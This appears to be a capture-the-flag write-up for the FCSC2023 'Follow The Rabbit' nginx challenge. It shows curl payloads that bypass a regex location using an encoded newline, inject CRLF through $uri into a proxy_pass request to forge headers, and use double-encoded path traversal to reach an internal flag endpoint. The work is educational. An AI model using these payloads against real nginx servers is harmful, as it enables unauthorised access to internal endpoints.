Featured image of post Nginx configuration bypass & Forging HTTP request - FCSC2023 Follow The Rabbit

Nginx configuration bypass & Forging HTTP request - FCSC2023 Follow The Rabbit

Forging custom a HTTP request to bypass a restrictive Nginx configuration. Writeup of the challenge Follow The Rabbit of FCSC2023.

Follow The Rabbit - FCSC2023 Writeup

In this article, we will solve one of the hardest web challenges of the FCSC2023. Follow the Rabbit is a nginx server with a custom configuration.

Source code: SHA256(follow-the-rabbit-public.tar.gz) = 6d5af5b83e3c9d3d5bb556965440df80507406239e68ef94c03ba1482d99f411.

TL;DR

Abusing normalized URI and location to bypass regex and reach a specific location to obtain the flag.

Overview

The challenge is about bypassing an Nginx configuration to obtain the flag. The Nginx docker is defined in the following manner:

1
2
3
4
5
6
FROM nginx:1.23.3-alpine
COPY src/nginx.conf /etc/nginx/nginx.conf
ARG FLAG
RUN echo "set \$flag \"${FLAG}\";" > /etc/nginx/flags.conf
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]

It should be noted that the current version of Nginx is 1.24.0, and not 1.23.3. Therefore, I attempted to find any security fixes that might exist between these versions, but nothing interesting comes up. You can view all the nginx versions on hg.nginx.org.

The Nginx configuration inside nginx.conf contains two server blocks but only the the port 80 is accessible (mapped on 8000).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
upstream @deeper {
    server 127.0.0.1:8082;
}

server {
    listen 80;
    server_name _;

    location ~* ^(.*)$ {
        return 200 "I'm late! I'm late! For a very important date!";
    }

    location / {
        return 200 "Oh dear, oh dear! I shall be too late!";
    }

    location /deeper {
        proxy_pass http://@deeper$uri$is_args$args;
    }
}

server {
    listen 8082;
    server_name deeper;
    include flags.conf;

    location /deeper {
        add_header X-Original-Path "$uri";
        add_trailer X-Trailer "Coming to a nginx close to you" ;

        return 200 "No time to say hello, goodbye! I'm late! I'm late! I'm late!";
    }

    location /deepest {
        return 200 "$flag";
    }
}

To summarize:

  • Exposed server - 0.0.0.0:80
    • Regex ~* ^(.*)$ => "I'm late! I'm late! For a very important date!"
    • Match / => "Oh dear, oh dear! I shall be too late!"
    • Match /deeper => proxy_pass http://@deeper$uri$is_args$args;
  • Internal server - @deeper
    • Match /deeper => "No time to say hello, goodbye! I'm late! I'm late! I'm late!"
    • Match /deepest => "$flag"

This challenge involves two steps. The first one is to bypass the regex on the exposed server to reach the /deeper location. Consequently, our HTTP request will be fowarded to the internal server. The second steps involves directing the same HTTP request towards the /deepest location of the internal server.

location ~* ^(.*)$

On the nginx documentation about the location directive, we can see that the matching is done after URL decoding. So, if we insert a new line (%0A) in the path of our request, we can bypass the regex.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# into regex
$ curl 'http://localhost:8000/whatever'
I'm late! I'm late! For a very important date!

# into regex
$ curl 'http://localhost:8000/%0a'
I'm late! I'm late! For a very important date!

# location /
$ curl 'http://localhost:8000/%0a/'
Oh dear, oh dear! I shall be too late!

As you can see above, we reach the location / ! Now let’s try to reach the /deeper location.

proxy_pass

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Simple try
$ curl 'http://localhost:8000/deeper/%0A'
I'm late! I'm late! For a very important date!

# Malformed HTTP request
$ curl 'http://localhost:8000/deeper/%0A%0D'
curl: (1) Received HTTP/0.9 when not allowed

# location /deeper - Fix the HTTP request
$ curl 'http://localhost:8000/deeper/%20HTTP/1.1%0d%0aFake-Header:xyz'
No time to say hello, goodbye! I'm late! I'm late! I'm late!

How it works ? The $uri variable is URL decode before sending the request to the internal server.

$uri: current URI in request, normalized (decoding the text encoded in the “%XX” form).

To do some debuging, we can edit the nginx configuration to send the proxy pass to a netcat server to see the HTTP request in plaintext.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# Malformed request
$ curl 'http://localhost:8000/deeper/%0A%0D'
GET /deeper/
 HTTP/1.0                    # <--- Notice the new line here
Host: 127.0.0.1:8081
Connection: close
User-Agent: curl/8.0.1
Accept: */*


# Fix the HTTP request by adding a fake header
$ curl 'http://localhost:8000/deeper/%20HTTP/1.1%0d%0aFake-Header:xyz'
GET /deeper/ HTTP/1.1
Fake-Header:xyz HTTP/1.0
Host: 127.0.0.1:8081
Connection: close
User-Agent: curl/8.0.1
Accept: */*

We successfully forged a valid HTTP request by adding a fake header.

normalized URI

So, our last goal is to reach the /deepest location. To do that we need to use double URL encoding to match the /deeper location of the first server and the location /deepest of the second server.

  1. Server #1 location /deeper: /deeper/%252E%252E%252Fdeepest ($uri normalized)
  2. Server #2 location /deeper: /deeper/%2E%2E%2Fdeepest -> /deeper/../deepest -> /deepest (location normalized)

$uri and location are normalized: The matching is performed against a normalized URI, after decoding the text encoded in the “%XX” form, resolving references to relative path components “.” and “..”, and possible compression of two or more adjacent slashes into a single slash.

1
2
3
4
5
6
7
$ curl 'http://localhost:8000/deeper/%252E%252E%252Fdeepest%20HTTP/1.1%0d%0AFake-Header:xyz'
GET /deeper/%2E%2E%2Fdeepest HTTP/1.1
Fake-Header:xyz HTTP/1.0
Host: 127.0.0.1:8081
Connection: close
User-Agent: curl/8.0.1
Accept: */*

We can now obtain the flag !!!

1
2
3
$ export HOST='https://follow-the-rabbit.france-cybersecurity-challenge.fr'
$ curl "$HOST/deeper/%252E%252E%252Fdeepest%20HTTP/1.1%0d%0AFake-Header:xyz"
FCSC{429706b083581875b3af87c239f3d42a44d39e63991c4a2a3f63cde5d86b1b23}
Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy